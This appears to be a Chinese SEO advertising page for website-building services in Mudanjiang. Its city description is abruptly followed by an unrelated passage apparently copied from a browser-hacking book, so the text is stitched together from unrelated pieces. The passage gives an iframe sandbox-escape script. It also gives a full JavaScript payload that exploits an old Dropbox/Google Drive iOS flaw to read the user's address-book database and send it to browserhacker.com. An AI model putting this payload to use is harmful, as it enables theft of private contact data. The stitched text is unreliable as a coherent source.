【建站服务】牡丹江网络公司哪家好【牡丹江企业网站百度SEO推广公司】牡丹江做网站开发价格、牡丹江淘宝店铺开店装修设计运营、公司网站制作方案流程改版维护费用、牡丹江高端企业网站页面制作设计专业公司需要多

当前位置：首页» 技术日志 » 【建站服务】牡丹江网络公司哪家好【牡丹江企业网站百度SEO推广公司】牡丹江做网站开发价格、牡丹江淘宝店铺开店装修设计运营、公司网站制作方案流程改版维护费用、牡丹江高端企业网站页面制作设计专业公司需要多

作者: 风兰 . 阅读量： 2 . 发表时间：2022-09-20 15:29:12

网站建设

上往建站提供服务器空间服务商，百度快照排名，网站托管，百度推广运营,致力于设计外包服务与源代码定制开发，360推广，搜狗推广,增加网站的能见度及访问量提升网络营销的效果,主营：网站公司,百度推广公司电话,官网搭建服务,网站服务企业排名,服务器空间,英文域名等业务，专业团队服务，效果好。

牡丹江网络公司哪家好【牡丹江企业网站百度SEO推广公司】牡丹江做网站开发价格、牡丹江淘宝店铺开店装修设计运营、公司网站制作方案流程改版维护费用、牡丹江高端企业网站页面制作设计专业公司需要多少钱

牡丹江市，别称雪城，是黑龙江省地级市，国务院批复确定的黑龙江省东南部重要的中心城市和风景旅游城市 [1] 。全市共辖4个市辖区、5个县级市、1个县，总面积4.06万平方千米，总人口280万人。 [2]

牡丹江地处中国东北地区，东北亚经济圈中心区域，与俄罗斯边境线长211公里。牡丹江是“中蒙俄经济走廊”龙江丝路带的重要战略支点，中国对俄沿边开放的桥头堡和枢纽站。牡丹江属中温带大陆性季风气候，素有“塞外江南”、“鱼米之乡”的美誉。域内G10、G11国道和滨绥、图佳铁路贯穿全境。 [3]

牡丹江市，因黑龙江省松花江上最大支流之一的牡丹江横跨市区因而得名。牡丹江市已开发利用的主要风景名胜古迹及人文景点有火山口国家森林公园、牡丹峰国家森林公园和国家自然保护区、雪乡滑雪场、牡丹峰滑雪场、八女投江纪念群雕、横道河子东北虎林园及冬季在牡丹江江面上建设的雪堡等。2017年12月，当选“中国十佳冰雪旅游城市”

框架内的代码是：

<!-- Framed document , inner.html --><script >// 逃出沙箱：if(top != window) { top.location = window.location; }// 下面的JavaScript代码和标记都不受限制：// 允许插件、弹出窗口和表单。</script>复制代码

这样，即使不指定关键字allowtop-navigation，内嵌框架中加载的JavaScript代码也可能修改外部window的地址。攻击者可以利用这一点，把用户限制在恶意网站中，达到勾住受害浏览器的目的。

在云存储中绕过SOP

实施SOP过程中，出现问题的环节不限于浏览器及其插件。2012年，一些云存储服务也被发现了绕过SOP的漏洞。这其中包括iOS中的Dropbox 1.4.6和安卓中的2.0.1版16，以及iOS中的Google Drive 1.0.1版17。这些服务可以把本地文件存储并同步到云中，目的是安装了Dropbox或Google Drive客户端的设备可以随处访问这些文件。

Roi Saltzman发现了一个类似于前面介绍的绕过Safari SOP的方法。这个漏洞同时影响到Dropbox和Google Drive。攻击有赖于从一个私密区加载一个文件，比如:

file:///var/mobile/Applications/APP_UUID复制代码

如果你能欺骗目标通过客户端应用加载一个HTML文件，那么该文件中包含的JavaScript代码就会被执行。关键在于，这个从私密区加载的文件允许JavaScript访问移动设备的本地文件系统。这说明对贯彻SOP的设计是有缺陷的。因为加载恶意HTML文件使用的是file协议，所以无法阻止JavaScript访问其他文件，比如：

file:///var/mobile/Library/AddressBook/AddressBook.sqlitedb复制代码

这个SQLite数据库包含着用户iOS中的地址簿。当然，这个文件必须通过该应用才能访问。如果目标应用拒绝应用范围外的文件访问，你还可以取得缓存的文件。通过这种漏洞达成的访问，很大程度上取决于存在漏洞的应用。

如果你欺骗目标使用有漏洞的Dropbox或Google Drive客户端打开下面的恶意文件，那么用户地址簿的内容就会被发送到browserhacker.com：

<html><body><script>
 local_xhr = new XMLHttpRequest();
 local_xhr.open("GET", "file:///var/mobile/Library/AddressBook/
 AddressBook.sqlitedb");
 local_xhr.send();

 local_xhr.onreadystatechange = function () {
  if (local_xhr.readyState == 4) {
   remote_xhr = new XMLHttpRequest();
   remote_xhr.onreadystatechange = function () {};
   remote_xhr.open("GET", "http://browserhacker.com/?f=" +
   encodeURI(local_xhr.responseText));
   remote_xhr.send();
  }
 }</script></body></html>复制代码

这个攻击案例展示了利用巧妙编写的JavaScript来利用漏洞的不同方式。JavaScript经常会出现在不同的环境或上下文里，不光是浏览器。在上面这个iOS攻击中，利用过程就是在Dropbox或Google应用的UIWebView对象中实现的。很多原生iOS应用都会嵌入UIWebView对象，以实现某种浏览器功能。

另一个要注意的是，这个攻击的目标是移动操作系统，不是传统的桌面环境。由于可见UI的大小所限，这些任务通常会在目标毫无察觉的情况下完成。